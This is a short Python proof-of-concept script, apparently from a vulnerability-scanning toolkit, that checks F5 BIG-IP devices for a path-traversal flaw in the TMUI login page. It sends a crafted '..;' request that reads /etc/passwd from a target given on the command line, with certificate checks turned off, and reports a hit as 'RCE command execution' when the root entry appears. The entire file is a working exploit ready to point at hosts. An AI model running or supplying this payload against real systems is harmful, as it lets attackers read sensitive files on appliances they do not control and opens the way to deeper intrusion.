#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
import sys


import argparse
from json_parse import Jsonparse


class BIGIP(object):
	def __init__(self,ip,port,level):
		self.ip = ip
		self.port = port
		self.level = level
	def run(self):
		if self.port == "443":
			url = "https://"+self.ip
		else:
			url = "http://"+self.ip+":"+self.port
		payload = "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
		tg = url + payload
		try:
			r = requests.get(tg,timeout = self.level,verify=False)
			if r.status_code == 200 and "root:x:0:0:root" in r.text:
				print("[+] Target has BIG-IP RCE command execution vulnerability！")
				exit(233)
			else:
				print ("[-] Target is not vulnerability！")
				exit(1)
		except Exception as e:
			print(e)
			print("[*] conect refused")
			exit(-1)

if __name__ == '__main__':
	jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
	jsonobj = Jsonparse(jsonfile)
	jsondata = jsonobj.parse()
	targetip = sys.argv[2]
	timeout = jsondata['timeout']
	port = sys.argv[3]
	Scanner = BIGIP(targetip, port, timeout)
	Scanner.run()